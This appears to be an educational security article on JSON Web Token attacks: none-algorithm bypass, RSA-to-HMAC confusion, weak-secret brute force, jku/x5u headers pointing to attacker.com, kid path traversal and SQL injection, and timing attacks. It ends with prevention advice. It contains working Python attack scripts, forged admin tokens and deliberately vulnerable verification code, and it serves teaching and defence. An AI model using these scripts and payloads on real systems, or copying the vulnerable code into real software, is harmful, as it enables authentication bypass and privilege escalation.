Security
Advanced

JWT Attacks

Learn about JSON Web Token vulnerabilities including signature bypass, algorithm confusion, weak secrets, and other JWT security issues that can lead to authentication bypass and privilege escalation.

📚 Advanced Level⏱️ 20 min read🔒 Security Focus

JWT Structure

JSON Web Tokens (JWTs) consist of three parts separated by dots: Header.Payload.Signature. Each part is Base64URL encoded, and understanding this structure is crucial for identifying vulnerabilities.

JWT Components

Example JWT:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Header

Algorithm and token type

{
  "alg": "HS256",
  "typ": "JWT"
}

Payload

Claims and user data

{
  "sub": "1234567890",
  "name": "John Doe",
  "iat": 1516239022,
  "role": "user"
}

Signature

Cryptographic signature

HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  secret
)

Signature Bypass Attacks

Signature bypass attacks exploit weaknesses in JWT signature verification, allowing attackers to modify token contents without invalidating the signature.

"None" Algorithm Attack

Bypassing signature verification with alg: "none"

Attack Technique:

Change the algorithm to "none" and remove the signature to bypass verification.

// Original JWT header
{
  "alg": "HS256",
  "typ": "JWT"
}

// Modified header (attack)
{
  "alg": "none",
  "typ": "JWT"
}

// Modified payload
{
  "sub": "1234567890",
  "name": "John Doe",
  "role": "admin",  // Escalated privileges
  "iat": 1516239022
}

// Final malicious JWT (no signature)
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.

Vulnerable Code:

// Vulnerable JWT verification
function verifyToken(token) {
  const decoded = jwt.decode(token, { complete: true });
  
  if (decoded.header.alg === 'none') {
    return decoded.payload; // No signature verification!
  }
  
  return jwt.verify(token, secret);
}

Algorithm Confusion

Algorithm confusion attacks exploit applications that don't properly validate the algorithm specified in the JWT header, allowing attackers to change the signing algorithm to bypass security controls.

RSA to HMAC Confusion

Attack Process:

  1. 1. Obtain the RSA public key used for JWT verification
  2. 2. Change the algorithm from RS256 to HS256
  3. 3. Sign the JWT using HMAC with the public key as the secret
  4. 4. The server verifies using the same public key, accepting the forged token

Vulnerable Verification Code:

// Vulnerable - doesn't validate algorithm
function verifyJWT(token, key) {
  const decoded = jwt.decode(token, { complete: true });
  const algorithm = decoded.header.alg;
  
  // Uses whatever algorithm is in the header
  return jwt.verify(token, key, { algorithms: [algorithm] });
}

// Attack succeeds because same key used for both RSA and HMAC

Attack Implementation:

// Python attack script
import jwt
import requests

# Get the public key from /.well-known/jwks.json or certificate
public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
-----END PUBLIC KEY-----"""

# Create malicious payload
payload = {
    "sub": "1234567890",
    "name": "John Doe",
    "role": "admin",  # Privilege escalation
    "iat": 1516239022
}

# Sign with HMAC using public key as secret
malicious_token = jwt.encode(
    payload, 
    public_key, 
    algorithm='HS256'
)

print(f"Malicious JWT: {malicious_token}")

Algorithm Downgrade Attacks

Original AlgorithmDowngrade ToAttack VectorImpact
RS256HS256Use public key as HMAC secretToken forgery
ES256HS256Use ECDSA public key as HMAC secretToken forgery
RS512HS512Use RSA public key as HMAC secretToken forgery
Any algorithmnoneRemove signature verificationComplete bypass

Weak Signing Secrets

Many JWT implementations use weak or predictable secrets for HMAC signing, making them vulnerable to brute force attacks or dictionary attacks.

Brute Force Attack

Systematically testing possible secrets

Attack Script:

#!/usr/bin/env python3
import jwt
import string
import itertools

def brute_force_jwt_secret(token, max_length=6):
    """Brute force JWT secret up to max_length characters"""
    
    # Character set for brute force
    charset = string.ascii_lowercase + string.digits
    
    # Extract header and payload
    header, payload, signature = token.split('.')
    
    for length in range(1, max_length + 1):
        print(f"Trying secrets of length {length}...")
        
        for secret_tuple in itertools.product(charset, repeat=length):
            secret = ''.join(secret_tuple)
            
            try:
                # Try to verify with this secret
                decoded = jwt.decode(token, secret, algorithms=['HS256'])
                print(f"SECRET FOUND: {secret}")
                return secret
            except jwt.InvalidSignatureError:
                continue
            except Exception as e:
                continue
    
    return None

# Example usage
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.signature"
secret = brute_force_jwt_secret(token)

JWT Header Attacks

JWT headers contain metadata about the token, including algorithm information and key identifiers. These fields can be manipulated to exploit vulnerabilities in JWT processing.

JKU (JSON Web Key Set URL) Attack

Attack Scenario:

The jku parameter points to a URL containing public keys. Attackers can host their own key set and point the JWT to it.

// Malicious JWT header
{
  "alg": "RS256",
  "typ": "JWT",
  "jku": "https://attacker.com/.well-known/jwks.json"
}

// Attacker's JWKS endpoint returns their own public key
{
  "keys": [
    {
      "kty": "RSA",
      "kid": "attacker-key",
      "use": "sig",
      "n": "attacker_public_key_modulus",
      "e": "AQAB"
    }
  ]
}

KID (Key ID) Manipulation

Path Traversal via KID:

// Original header
{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "key1"
}

// Path traversal attack
{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "../../etc/passwd"
}

// If application reads file based on kid value:
// const key = fs.readFileSync(`keys/${kid}.pem`);
// This could read /etc/passwd instead of a key file

SQL Injection via KID:

// SQL injection in kid parameter
{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "key1' UNION SELECT 'secret' as key_value--"
}

// If application queries database:
// SELECT key_value FROM keys WHERE kid = '${kid}'
// This could return a known value as the key

X5U (X.509 URL) Attack

Certificate Chain Attack:

// Malicious header pointing to attacker's certificate
{
  "alg": "RS256",
  "typ": "JWT",
  "x5u": "https://attacker.com/malicious.crt"
}

// Attacker hosts a certificate with their public key
// Application fetches and trusts the certificate
// Attacker can now sign JWTs with their private key

Timing Attacks

Timing attacks exploit differences in processing time to extract information about JWT secrets or bypass security checks.

HMAC Timing Attack

Vulnerable Code:

// Vulnerable - uses string comparison
function verifySignature(token, secret) {
  const [header, payload, signature] = token.split('.');
  const expectedSignature = hmacSha256(header + '.' + payload, secret);
  
  // Vulnerable: early termination on first different character
  return signature === expectedSignature;
}

// Secure - constant time comparison
function secureVerifySignature(token, secret) {
  const [header, payload, signature] = token.split('.');
  const expectedSignature = hmacSha256(header + '.' + payload, secret);
  
  // Secure: constant time comparison
  return crypto.timingSafeEqual(
    Buffer.from(signature), 
    Buffer.from(expectedSignature)
  );
}

Timing Attack Script:

#!/usr/bin/env python3
import time
import requests
import statistics

def timing_attack(url, token_template):
    """Perform timing attack to extract JWT signature"""
    
    charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
    signature = ""
    
    for position in range(64):  # Typical signature length
        best_char = None
        max_time = 0
        
        for char in charset:
            test_signature = signature + char + "A" * (63 - position)
            test_token = token_template.replace("SIGNATURE", test_signature)
            
            # Measure response time
            times = []
            for _ in range(10):  # Multiple measurements for accuracy
                start = time.time()
                response = requests.post(url, json={"token": test_token})
                end = time.time()
                times.append(end - start)
            
            avg_time = statistics.mean(times)
            
            if avg_time > max_time:
                max_time = avg_time
                best_char = char
        
        signature += best_char
        print(f"Position {position}: {best_char} (time: {max_time:.6f}s)")
    
    return signature

Detection and Tools

JWT.io Debugger

  • • Decode JWT tokens
  • • Verify signatures
  • • Modify payloads
  • • Test different algorithms

Burp Suite Extensions

  • • JWT Editor
  • • JSON Web Tokens
  • • JWT Fuzzer
  • • Token Hunter

Command Line Tools

# jwt-cli tool
npm install -g jwt-cli

# Decode JWT
jwt decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

# Sign JWT
jwt sign '{"sub":"1234567890","name":"John Doe"}' secret

# Verify JWT
jwt verify eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... secret

Python JWT Library

import jwt

# Decode without verification
decoded = jwt.decode(token, options={"verify_signature": False})

# Test different algorithms
for alg in ['HS256', 'HS512', 'RS256', 'none']:
    try:
        result = jwt.decode(token, key, algorithms=[alg])
        print(f"Success with {alg}: {result}")
    except Exception as e:
        print(f"Failed with {alg}: {e}")

Prevention Strategies

Secure JWT Implementation

Strict Algorithm Validation:

// Secure JWT verification
function verifyJWT(token, secret) {
  // Explicitly specify allowed algorithms
  const allowedAlgorithms = ['HS256'];
  
  try {
    const decoded = jwt.verify(token, secret, {
      algorithms: allowedAlgorithms,
      // Reject 'none' algorithm
      ignoreNotBefore: false,
      ignoreExpiration: false
    });
    
    return decoded;
  } catch (error) {
    throw new Error('Invalid JWT token');
  }
}

// Never trust the algorithm from the header
function insecureVerification(token, secret) {
  const decoded = jwt.decode(token, { complete: true });
  const algorithm = decoded.header.alg; // DANGEROUS!
  
  return jwt.verify(token, secret, { algorithms: [algorithm] });
}

Key Takeaways

  • • Never trust the algorithm specified in the JWT header - always validate explicitly
  • • Use strong, randomly generated secrets and rotate them regularly
  • • Implement proper token expiration and refresh mechanisms
  • • Validate all JWT header parameters and reject dangerous ones like jku, x5u
  • • Use constant-time comparison functions to prevent timing attacks
  • • Consider using asymmetric algorithms (RS256) for better security in distributed systems
  • • Implement comprehensive logging and monitoring for JWT-related security events